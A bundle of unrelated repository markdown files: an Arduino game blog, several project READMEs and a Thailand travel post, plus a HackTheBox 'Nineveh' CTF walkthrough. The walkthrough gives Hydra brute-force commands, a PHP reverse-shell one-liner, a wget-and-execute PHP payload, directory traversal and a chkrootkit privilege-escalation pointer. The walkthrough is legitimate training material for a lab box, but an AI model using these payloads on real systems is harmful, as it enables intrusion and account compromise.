text:
---
title: "Pattern Matching Game"
date: 2018-10-19T10:00:54-08:00
description: "I made a physical pattern matching game with lights and button and an Arduino."
---

## I made a physical pattern matching game with lights and buttons and an Arduino.

With my Fridays [free from regular work](time "Why I’m moving to a four day work week") I picked a project to work on. I decided to make something for my kids. I've played around with Arduino before and built a few small toys for them. They get pulled out every so often.

I have lots of bits of electronics like buttons, LEDs and sensors. Recently I was showing my kids how LEDs work and how buttons work. Together we came up with a simple pattern matching game idea. The basic idea is that the lights will show a sequence and you must press the buttons to match the sequence. If you get it right you get the next sequence. We grabbed an empty cardboard box, cut some holes in it and stuck in the buttons and LEDs.

This was the first mockup. Not pretty but gives the idea of how it might work. The kids were able to press the buttons and see what it would be like to play the game. They seemed happy so it was time to continue.

![First mockup.](/images/blog/pattern-matching-game/inital-mockup.jpg)

I got out the Arduino and a breadboard and started trying to remember how it all worked. Luckily the project is really just 4 buttons and 4 LEDs. The Arduino has digital inputs that you can use to tell if a button is pressed or use it to turn on an LED.

After a few hours of playing around I had the prototype created.

![Prototype on a breadboard](/images/blog/pattern-matching-game/prototype.jpg)

I coded a simple version of the game to just show one light at a time. Show light, press button, repeat. All the code for this project is on my github. Once I was happy this was working correctly I went on to creating the real version.

There were a few extra things that the real version would need compared to the mock up version. First off it needed an on/off switch. As well as this I decided to add a toggle switch to allow switching between two versions of the game. A simple version that would only ever show one light at the time, and an advanced version that would increase the number of lights in the sequence after every third correct answer.

I found a new cardboard box and covered it in white paper. Then I started adding all the controls.

![Adding the controls to the real version](/images/blog/pattern-matching-game/real-version-start.jpg)

The LEDs needed to be held in place so I broke a perfboard into a few pieces and soldered the legs of the LEDs to that on the other side of the cardboard. This is good enough to hold them in place.

![perfboard holding the LED legs](/images/blog/pattern-matching-game/attach-buttons.jpg)

Next I added wires to all the buttons, switches and LEDs. I left lots of wire so they can all reach the perfboard that will house the Arduino.

![Wiring up the controls](/images/blog/pattern-matching-game/start-wiring.jpg)

Now it was time to start connecting things to the Ardunio. There are lots of different types of Arduino. For this case I was using an Ardunio Pro Mini. They are nice and small and I had one available to use. Basically I just had to wire up everthing the same as it was on the prototype. However this is the part that took me the longest. I don't solder things that often so it tooks a while to do it. And I managed to only melt one of the buttons.  Also I'm sure for anyone that actually does electronics a lot this looks awful but it does work.

![Showing the soldering from the front](/images/blog/pattern-matching-game/soldering-1.jpg)
![Showing the soldering from the back](/images/blog/pattern-matching-game/soldering-2.jpg)

After much soldering and testing of all the connections it was done. And it worked. Behold the masterpiece. There is order to this even if it doesn't look like it.

![The inside of the project showing all the wires](/images/blog/pattern-matching-game/before-closing.jpg)

All that was left to do was program the more difficult version of the game and close it up. This is the finished version.

![The finished project](/images/blog/pattern-matching-game/finished-version.jpg)

It's fun to play around with electronics, especially when you spend all your working time just programming. It is a different challenge to debug an electronics project. And it is a lot less forgiving.

This completes my first project for my Fridays off. It was fairly simple but I wanted something I could definitely finish and something that would be fun to work on. So this accomplished both. Feel free to check out the code on my github although without the hardware it is probably not much use.

repository: anthonyoconnor/aoc

repo_name: anthonyoconnor/aoc


text:
# Infrastructure

Once code is merged into `master`, CodeFresh manages deployment of infrastructure changes as well as building of the Docker image, as necessary.

Therefore, the steps below are only required when you're setting up the project for the first time, or in the case of ECR, manually pushing rebuilt images to the registry.

## Infrastructure Deployments

All infrastructure is described through Terraform, so you'll need to [install it](https://www.terraform.io/intro/getting-started/install.html) in the environment you're performing the deployment in.

### State Storage

[Terraform state](https://www.terraform.io/docs/state/) is currently only configured to be stored [remotely using an S3 bucket](https://www.terraform.io/docs/state/remote/s3.html). Therefore, an S3 bucket needs to be manually setup, before attempting an infrastructure deployment for the first time.

### Deployments
You must ensure the following environment variables are set.

* `AWS_ACCESS_KEY_ID`: AWS access key ID
* `AWS_SECRET_ACCESS_KEY`: AWS secret access key
* `TERRAFORM_STATE_S3_BUCKET_NAME`: The name of the S3 bucket you've previously created.
* `TERRAFORM_STATE_S3_BUCKET_KEY`: The path in the bucket in which Terraform should look for the remote state file
* `AWS_REGION`: Use `eu-west-1` for the time being.
* `PUBLIC_KEY_PATH`: The local path to the public key you wish to associate to the ECS Container Instance. E.g `~/.ssh/httpmark_rsa.pub`. You can [find out how to generate SSH keys](https://help.github.com/articles/generating-an-ssh-key/) if you're unsure of the process.

#### Environment Variable Management

[direnv](http://direnv.net/) is an elegant solution to variable management, where variables are scoped to a particular directory.

```bash
# View execution plan
bin/infrastructure.sh -t plan

# Apply execution plan
bin/infrastructure.sh -t apply
```

### Building And Uploading The Docker Image To ECR

Even though you'll now have all the necessary infrastructure provisioned, you'll still be unable to run the container from the AWS, since no Docker image will exist in the ECR registry.

Follow the steps in /agent that will walk you through how to do that.

license: MIT

repository: httpmark/httpmark

branch_name: refs/heads/master

extension: md

gha_language: JavaScript

license_type: permissive

repo_name: httpmark/httpmark


text:
# ACR-LQ

[![License](https://img.shields.io/badge/License-BSD%203--clause-green.svg)](./LICENSE)
[![Release](https://img.shields.io/badge/Release-1.0.2-blue.svg)](https://github.com/vcurdia/ACR-LQ/releases/tag/v1.0.2)

ACR-LQ is a package of codes to generate a quadratic approximation to the
welfare function and solve for the correct first order approximation solution
to the optimal policy problem. It also checks the second order conditions.

The codes were developed for
**Altissimo, F., Cúrdia, V., and Rodriguez-Palenzuela, D. (2005)**
[Linear-Quadratic Approximation to Optimal Policy: An Algorithm and Two Applications](https://github.com/vcurdia/ACR-LQ/blob/master/ACR2005-LQ-Paper.pdf)
Unpublished, European Central Bank and Princeton University.

The codes implement the linear-quadratic approximation method described in
**Benigno, P. and Woodford, M. (2012)**
[Linear-quadratic approximation of optimal policy problems](http://www.sciencedirect.com/science/article/pii/S0022053111001451)
*Journal of Economic Theory* 147(1), pp. 1-42.

These replication codes are available online at:
https://github.com/vcurdia/ACR-LQ

## Requirements

### Matlab (R)
These codes have been tested on Matlab (R) R1016b with following toolboxes
- Symbolic Toolbox

### Additional Matlab (R) codes
- [gensys](http://sims.princeton.edu/yftp/gensys/)
  by [Chris Sims](http://www.princeton.edu/~sims/)
- [optimize](http://dge.repec.org/codes/sims/optimize/)
  by [Chris Sims](http://www.princeton.edu/~sims/)

## Description of main files

`LQGenSymVar.m`

Creates symbolic variables needed in other routines. See example in order to
see when to call this script.

`LQ.m`

Main LQ code. It computes synmbolic derivatives and generates all the symbolic
matrices needed to implement optimal policy, including the quadratic
approximation to the welfare function and the first order approximation to the
laws of motion of the economy.

`LQSolveREE.m`

After replacing the output matrices from LQ with steady state values, this code
solves for the REE equilibrium using gensys routine created by Chris Sims and
available through his website.

`LQCheckSOC.m` and `LQCheckSOCAlt.m`

Two alternative codes to check for verification of the second order conditions.

`LQAltRule.m`

Computes the REE under an alternative policy rule submitted in non-linear form.

`LQAltRuleLinear.m`
Computes the REE under an alternative policy rule submitted in linear form.

`LQWEval`

Evaluates the welfare value of a given policy rule.
Current limitation: assumes that policies are stationary.

## Example:

The package also includes an example (in folder Example) showing how to use the
codes. The example's main script is the file `MonFrictions.m` which sets up the
model framework and calls other functions and scripts.

The codes in the examples are the following:

`MonFrictions.m`

Example's main script. Sets the required variables and equations. Solves for
the optimal steady state using the csolve numerical solution to systems of
non-linear equations created by Chris Sims and available through his website.
then calls the `LQ` function. Replaces the symbolic matrices with numerical
steady state values and then solves for the REE solution under optimal policy
using `LQSolveREE`. It also computes the IRF for all variables in response to
all of the shocks. It also computes the value of welfare under optimal and
simple rule. Finally it saves all the output in a mat file.

`MonFrictionsIRFPlot.m`

Plots the IRFs. This is an example of how to make simple plots of the IRF.

`MonFrictionsIRFPlotAltRule.m`

Plots the optimal policy against the alternative rule.

`MonFrictionsIRFPlotComp.m`

Generates comparison plots for alternative calibrations of the model.

## Additional Information

Each of the functions and scripts contains help at the beginning of the codes,
which can be accessed using the help or doc commands in matlab. E.g.:
```
help LQ
```
or
```
doc LQ
```

repository: lnsongxf/ACR-LQ

repo_name: lnsongxf/ACR-LQ


text:
# theme-base

[![GratiPay](https://img.shields.io/gratipay/user/alexgorbatchev.svg)](https://gratipay.com/alexgorbatchev/)
[![Build Status](https://travis-ci.org/syntaxhighlighter/theme-base.svg)](https://travis-ci.org/syntaxhighlighter/theme-base)
![Downloads](https://img.shields.io/npm/dm/theme-base.svg)
![Version](https://img.shields.io/npm/v/theme-base.svg)

Base SASS theme for all [SyntaxHighlighter](https://github.com/syntaxhighlighter/syntaxhighlighter) themes. If you want to create a new theme, please use [theme-django](https://github.com/syntaxhighlighter/theme-django) as a starting point.

## Usage

Please see [Building Instructions](https://github.com/syntaxhighlighter/syntaxhighlighter/wiki/Building) on the [SyntaxHighlighter Wiki](https://github.com/syntaxhighlighter/syntaxhighlighter/wiki) for details.

## License

MIT

repository: syntaxhighlighter/theme-base

gha_language: CSS

gha_license_id: MIT

repo_name: syntaxhighlighter/theme-base


text:
## Business Readable Automated Tests with SpecFlow 2.0
### by Jason Roberts
##### Learn how to write automated tests that businesses can understand,
##### ensure the right features are being built, and create living documentation with SpecFlow.
##### You'll cover feature-writing, automation code, data conversion, and more.

###### Install Nuget Packages
* SpecFlow.xUnit
* xunit.runner.visualstudio
* xunit.assert
* SpecFlow.Tools.MsBuild.Generation

gha_language: C#


text:
# airtrack
airport time sheet utility

### prerequisite
* Python 3.5

### install
```
$ pip install .
```

### run
Modify settings.py as necessary.
```
$ # initialize (first time only)
$ airtrack init_db
$
$ # register the data point
$ airtrack register
```

### run as daemon
Modify the .plist file as necessary.
```
$ # register
$ ln -s /path/to/resources/airtrack.plist ~/Library/LaunchAgents/net.hirogwa.airtrack.plist
$
$ # load
$ launchctl load ~/Library/LaunchAgents/net.hirogwa.airtrack.plist
$
$ # unload
$ launchctl unload ~/Library/LaunchAgents/net.hirogwa.airtrack.plist
```

## license
Released under [MIT](http://opensource.org/licenses/MIT)

repository: hirogwa/airtrack

repo_name: hirogwa/airtrack


text:
---
layout: post
title: "HackTheBox - Nineveh writeup"
subtitle: "~ Walkthrough of Nineveh machine from HackTheBox ~"
date: 2017-12-16
author: V3ded
category: CTF
tags: blog ctf pentesting hackthebox
finished: true
excerpt_separator:
---

# Introduction
I'm running out of these slowly but surely. No introduction this time, just the blog itself. Enjoy!

***

# Scanning & Enum

Obtain the `Nineveh's` IP (**<IP_ADDRESS>**) from HackTheBox dashboard and nmap it:
```console
root@EdgeOfNight:~# nmap <IP_ADDRESS> -A -sS -T4

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-15 15:13 CST
Nmap scan report for <IP_ADDRESS>
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.8 (92%), Linux 3.13 (92%), Linux 3.2 - 4.8 (92%), Linux 4.4 (92%), Linux 3.12 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%), Linux 3.8 - 3.11 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   101.81 ms <IP_ADDRESS>
2   291.88 ms <IP_ADDRESS>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.08 seconds
```
> HTTP on port 80 and HTTPS on 443

***

### - HTTP (80)
Pretty common procedure with web servers is to run any directory bruteforcing tool (gobuster in my case) and find possibly hidden directories:
```console
root@EdgeOfNight:~# gobuster -e -u <IP_ADDRESS> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 25

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://<IP_ADDRESS>/
[+] Threads      : 25
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
[+] Expanded     : true
=====================================================
http://<IP_ADDRESS>/department (Status: 301)
```
> Install gobuster by: apt-get install gobuster

`/department/` directory presents us with what looks like a custom login page:

I carried out multiple tests and  luckily for the owner the login function is not vulnerable to SQL injections. However if you look closely, you may notice a very minor flaw which allows for username enumeration. This can be observed after entering invalid credentials / usernames.

When you try to login with a name that doesn't exist (for example v3ded) you will get a message saying: `invalid username`. Notice the difference in the image below where I try to login as admin:

The login page is telling us which users exist and which do not! After confirming that the *admin* username is correct I start a bruteforce attack via Hydra.
```console
root@EdgeOfNight:~# hydra <IP_ADDRESS> -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -V

Hydra v8.5 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-15 15:52:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking service http-post-form on port 80
[DATA] with additional data /department/login.php:username=^USER^&password=^PASS^:Invalid Password!
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "princess" - 6 of 14344399 [child 5] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "abc123" - 10 of 14344399 [child 9] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "nicole" - 11 of 14344399 [child 10] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "daniel" - 12 of 14344399 [child 11] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "monkey" - 14 of 14344399 [child 13] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "lovely" - 15 of 14344399 [child 14] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "jessica" - 16 of 14344399 [child 15] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "654321" - 17 of 14344399 [child 15] (0/0)
... [Many attempts later] ...
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "candys" - 4579 of 14344399 [child 12] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "bonnie1" - 4580 of 14344399 [child 11] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "admin" - pass "1truelove" - 4581 of 14344399 [child 8] (0/0)
[80][http-post-form] host: <IP_ADDRESS>   login: admin   password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found
```

It "only" took 10 minutes until the correct password showed on my screen - `admin:1q2w3e4r5t`. Upon logging in we are present with an under-construction admin dashboard:

and "Notes":

While the webpage might look nice, it's not of any use to us now. I just note down that we gained access and move onto *443*.

### - HTTPS (443)
```https://<IP_ADDRESS>:443/``` is a static webpage with a single image:

Once again, use directory bruteforcing to find anything interesting:
```console
root@EdgeOfNight:~#  gobuster -e -u <IP_ADDRESS>:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://<IP_ADDRESS>:443/
[+] Threads      : 20
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Expanded     : true
=====================================================
http://<IP_ADDRESS>:443/db (Status: 200)
```

`/db/` sounds interesting:

This `PHP LiteAdmin` is running version 1.9 which after doing a searchploit query is vulnerable to multiple exploits.

```console
root@EdgeOfNight:~# searchsploit php Lite Admin 1.9
---------------------------------------------------------------------------------------------
 Exploit Title                                           |  Path
                                                         | (/usr/share/exploitdb/platforms/)
---------------------------------------------------------------------- ----------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection           | php/webapps/24044.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities            | php/webapps/39714.txt
---------------------------------------------------------------------- ----------------------
```
From `PHPLiteAdmin 1.9.3 - Remote PHP Code Injection`:
```console
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.

Proof of Concept:

1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.

2. Now create a new table in the database and insert a text field with the default value:
<?php phpinfo()?>
```

Fortunately for me I've encountered same exploit once already in one of my other blogs - [zico2](https://v3ded.github.io/ctf/zico2.html){:target="_blank"}. It's a lengthy process of creating a database which is then miss-translated into php code that gets executed on a target server. But for all of this to work we need to be authenticated first! Fire our good old hydra again :-).

```console
root@EdgeOfNight:~# hydra <IP_ADDRESS> -l whatever -P /usr/share/wordlists/rockyou.txt https-post-form "/db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -V -s 443

Hydra v8.5 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-16 07:35:48
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking service http-post-form on port 443 with SSL
[DATA] with additional data /db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "princess" - 6 of 14344399 [child 5] (0/0)
... [Many attempts later] ...
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "esteban" - 1399 of 14344399 [child 5] (0/0)
[ATTEMPT] target <IP_ADDRESS> - login "whatever" - pass "mookie" - 1400 of 14344399 [child 13] (0/0)
[443][http-post-form] host: <IP_ADDRESS>   login: whatever   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-16 07:46:08

```
> Note: login name (-l) doesn't matter as we do not need it in our http request. Hydra just requires it in it's syntax and therefore now it's irrelevant!

Use **password123** and we are inside the `PHP LiteAdmin` dashboard:

Time to do some damage!

***

# Exploitation

There are many methods one can choose in order to compromise the application, but I went with the following:

* Make our own **.txt** backdoor file inside */var/www/html* with `<?php $sock=fsockopen("YOUR IP",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>` as the content
* Start apache2 - `/etc/init.d/apache2 start`
* Make the target download (wget) our **.txt** file, save it as **.php** and run it

> Note: If you save the file as **.php** it would get activated on your own server when you wget it later on - **be careful about it**. That's why we save it as **.txt** and output it to **.php**.

To proceed with the exploitation do as the exploitdb file says. Create a database with *.php* extension (I named it shell.php, name doesn't matter!):

Click on our newly created database under *Change Database* and add a table inside called shell, select 1 field:

Name the field whatever we wish, set it as text type, put `<?php system("wget YOURIP/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>` into the default value & click create. This should create a new table with our exploit. ***The default value script plays a huge role here as it is used to download our main php reverse shell.***

`wget - downloads the the main file on the target machine`

`-O /tmp/shell.php - converts the text file into php so we can execute it and saves it inside /tmp folder`

`;php /tmp/shell.php - runs the php file with our malicious payload inside`

> Note: Make sure you use `-O` (capital) because `-o` has different output which won't work!

To activate our php script that downloads the malicious file, an HTTP request is needed. How would we do such thing though? Remember the previous dashboard we found on port 80? Look at the url after clicking "Notes":

It seems innocent but I immediately noticed a possible directory traversal vulnerability which indeed worked. After accessing the uploaded shell (either using a browser or curl) the php got activated and we got a shell!
```console
root@EdgeOfNight:# curl <IP_ADDRESS>/department/manage.php?notes=files/ninevehNotes.php/../../../../../../var/tmp/shell.php
```
> Note: Change ninevehNotes.txt into ninevehNotes.php

***

# Privilege escalation

### - Shorter method

Do `ls -la /`
```console
$ ls -la
total 100
drwxr-xr-x  24 root   root    4096 Jul  2 21:07 .
drwxr-xr-x  24 root   root    4096 Jul  2 21:07 ..
drwxr-xr-x   2 root   root    4096 Jul  2 18:05 bin
drwxr-xr-x   3 root   root    4096 Jul  2 18:20 boot
drwxr-xr-x  19 root   root    4240 Dec 16 08:02 dev
drwxr-xr-x  93 root   root    4096 Aug  5 10:18 etc
drwxr-xr-x   3 root   root    4096 Jul  2 18:41 home
lrwxrwxrwx   1 root   root      32 Jul  2 17:58 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  22 root   root    4096 Jul  2 18:05 lib
drwxr-xr-x   2 root   root    4096 Jul  2 19:48 lib64
drwx------   2 root   root   16384 Jul  2 17:57 lost+found
drwxr-xr-x   3 root   root    4096 Jul  2 17:58 media
drwxr-xr-x   2 root   root    4096 Feb 15  2017 mnt
drwxr-xr-x   2 root   root    4096 Feb 15  2017 opt
dr-xr-xr-x 203 root   root       0 Dec 16 08:02 proc
drwxr-xr-x   2 amrois amrois  4096 Dec 16 08:54 report
drwx------   4 root   root    4096 Jul 19 05:05 root
drwxr-xr-x  23 root   root     840 Dec 16 08:02 run
drwxr-xr-x   2 root   root   12288 Jul  2 18:20 sbin
drwxr-xr-x   2 root   root    4096 Jan 14  2017 snap
drwxr-xr-x   2 root   root    4096 Feb 15  2017 srv
dr-xr-xr-x  13 root   root       0 Dec 16 08:02 sys
drwxrwxrwt   9 root   root    4096 Dec 16 08:54 tmp
drwxr-xr-x  10 root   root    4096 Jul  2 17:58 usr
drwxr-xr-x  14 root   root    4096 Jul  2 18:49 var
lrwxrwxrwx   1 root   root      29 Jul  2 17:58 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
```

A directory that immediately stands out is `report` owned by the user `amrois`. After viewing one of the files inside the dir, we get this output:
```console
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
[...A lot more output...]
```
This is standard output of `chkrootkit` which to my knowledge is vulnerable to a privilege escalation bug - https://www.exploit-db.com/exploits/33899/. The link describes it pretty well and therefore I don't think other explanation is needed! Go and escalate!

***

### - Longer method

There is an email left for `amrois` inside `/var/mail/amrois`. Simply *cat* it:

```console
$ cat /var/mail/amrois
From<EMAIL_ADDRESS>Fri Jun 23 14:04:19 2017
Return-Path<EMAIL_ADDRESS>X-Original-To: amrois
Delivered-To<EMAIL_ADDRESS>Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To<EMAIL_ADDRESS>From<EMAIL_ADDRESS>Subject: Another Important note!
Message-Id<EMAIL_ADDRESS>Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911
```
This is a reference to [port knocking](https://en.wikipedia.org/wiki/Port_knocking){:target="_blank"}. A certain port can be opened (in Nineveh's case SSH - from `cat /etc/knockd.conf`) by using a correct knocking combination. You can do this by using nmap for example:

```console
root@EdgeOfNight:~# nmap -Pn --host-timeout 201 --max-retries 0 -p 571,290,911 <IP_ADDRESS>
```

If you nmap the target after the knock you will notice that SSH is open. Now we just need the password for SSH... Hydra again? No! Finding the key is tricky - you need to run `strings` command on
`/var/www/ssl/secure_notes/nineveh.png`.
```console
<REDACTED_PRIVATE_KEY>
```
Now using the combination of nmap and ssh you can easily log into the machine:
```console
root@EdgeOfNight:~# nmap -Pn --host-timeout 201 --max-retries 0 -p 571,290,911 <IP_ADDRESS> && ssh -i sshkey.key<EMAIL_ADDRESS>```
> Note: If you get an error saying "the .key file is unprotected", simply chmod it to 600

After authenticating You can get the user flag and use the same `chkrootkit` escalation method as before!

### Congratulations!
***

# Conclusion

I loved this box! It took me a bit longer to escalate and find the SSH RSA key but what can one do, right? Hopefully you can say the same. If you have any questions leave them down in the comments or get in contact with me via the [about](https://v3ded.github.io/about/){:target="_blank"} page.

~V3

license: Unlicense

extension: markdown


text:
---
layout : post
title: "Heading To Thailand"
date: 2014-10-18 12:00:00
categories: travel
biofooter: true
excerpt: "Somehow my worldly possessions have been reduced to an amount which fits in the backpack I normally carry to work and going by the number of people laughing at the way I eat noodles, I appear to have made it to Bangkok."
order: 1
next: "Aonang, a shambles"
next_link: "/travel/aonang-a-shambles-even-by-my-standards/"
---

Somehow my worldly possessions have been reduced to an amount which fits in the backpack I normally carry to work and going by the number of people laughing at the way I eat noodles, I appear to have made it to Bangkok.

Somehow all of this...

![All of the things](/assets/images/travel/heading-to-thailand/stuff-on-table.jpg)

Fits in here...

![A Bag](/assets/images/travel/heading-to-thailand/in-the-bag.jpg)

Qatar Airways successfully put any of the European or American airlines I've flown with to shame, Champagne after boarding and Cognac after dinner. All in so called "Economy" class. Something of a step up from the usual "abuse by staff on boarding, coffee in lap after microwave pizza" I've come to love from Ryan Air.

The most noticeable thing on arrival at Bangkok Suvarnabhumi airport is SIM Cards. Really. They're everywhere. The bit of the airport usually reserved for car rentals? Entirely filled with counters selling SIM Cards. The people usually handing out fliers for restaurants at the stations? Handing out free SIMs. Having promised myself no mobile Internet on this trip I felt almost bad refusing.

## The City

In character it reminds me a lot of Shanghai but with much more outgoing people. In Shanghai people would tend to avert their eyes and avoid interaction with one another at all costs. Here people seem to smile indiscriminately and those who speak English are happy to chat.

In China when we chatted to our waitress or waiter in a restaurant, it was clear we were making them uncomfortable. Here our waitress joined us for drinks and later I was thoroughly beaten at pool by the owner of a local bar. We didn't understand each other much but concluded he was much better at pool than me (no words needed, I lost by seven balls) and that neither of us liked soccer.

Music seems to be everywhere, there are whole streets of (admittedly quite touristy) bars with nothing but live music. This guy played what may be the best cover of "Dire Straights - Money For Nothing" I've ever heard.

![Man with Guitar](/assets/images/travel/heading-to-thailand/guitar.jpg)

On a less touristy note we stumbled on two live music festivals in the first forty eight hours;

![Festival](/assets/images/travel/heading-to-thailand/festival.jpg)

![Deutsche!](/assets/images/travel/heading-to-thailand/drum-band.jpg)

The food is simply incredible, having ordered red curry with duck at every Thai restaurant or takeout I've ever been to, I thought my bar was quite high. Until I had this from a tiny restaurant around the corner from the hostel;

![Red Duck Curry](/assets/images/travel/heading-to-thailand/red-duck-curry.jpg)

This more than made up for discovering that the one thing a canadian, an american, a norweigen and a german have in common is a love of mocking the British;

![Mocking](/assets/images/travel/heading-to-thailand/only-tourists.jpg)

![E.T.](/assets/images/travel/heading-to-thailand/ET.jpg)

In general the city feels safer than I expected, provided dark alleys are avoided. Some friends had someone attempt to snatch their bag, but this was walking down a backstreet to find a hotel that was known for continuing to sell beer well past closing time. So hardly the most savory of areas.

The closest I've come to a scary experience was the slightly inebriated policeman who, having failed to catch one of the large fish from the lake in the park with his hands, took to threatening it with a gun whilst grinning and shouting "I James Bond!"

I must admit I didn't stick around to see how that one ended. My guess is the fish won.

## Working

One of my aims with this trip was to see if it really is feasible to spend time working remotely as a developer from here. This means finding out a few things:

* Is the Internet consistent and fast?
* Are there nice spots to work?
* Is it really as cheap as everyone says?

As far as the Internet goes Bangkok is exceptionally good. Internet in the hostel (lub di Silom) being around 20mb downstream. At Launchpad, the co-working space I've been using for the last few days, it seems to hover around 0.75mb, perfectly usable but hardly blazing fast.

The space itself is impressive;

![Desks](/assets/images/travel/heading-to-thailand/lp-desks.jpg)

It costs around 320baht (6.20 GBP) for a days access and has enough sofas and beanbags to accommodate my need to nap at lunchtime/ after breakfast/ in the afternoon. I gather from the amused looks when I wake up however that this is not normal behavior.

![Sofas](/assets/images/travel/heading-to-thailand/lp-sofas.jpg)

As far as cost goes the short answer is yes, it really is that cheap. To give a rough benchmark;

* Meal from a street Vendor; 40 - 100 baht (0.70 - 2 GBP)
* Night in a nice hostel; 400 - 600 baht (7.70 - 12 GBP) although by a very lucky quirk, we're currently paying 50baht (1 GBP) per night!
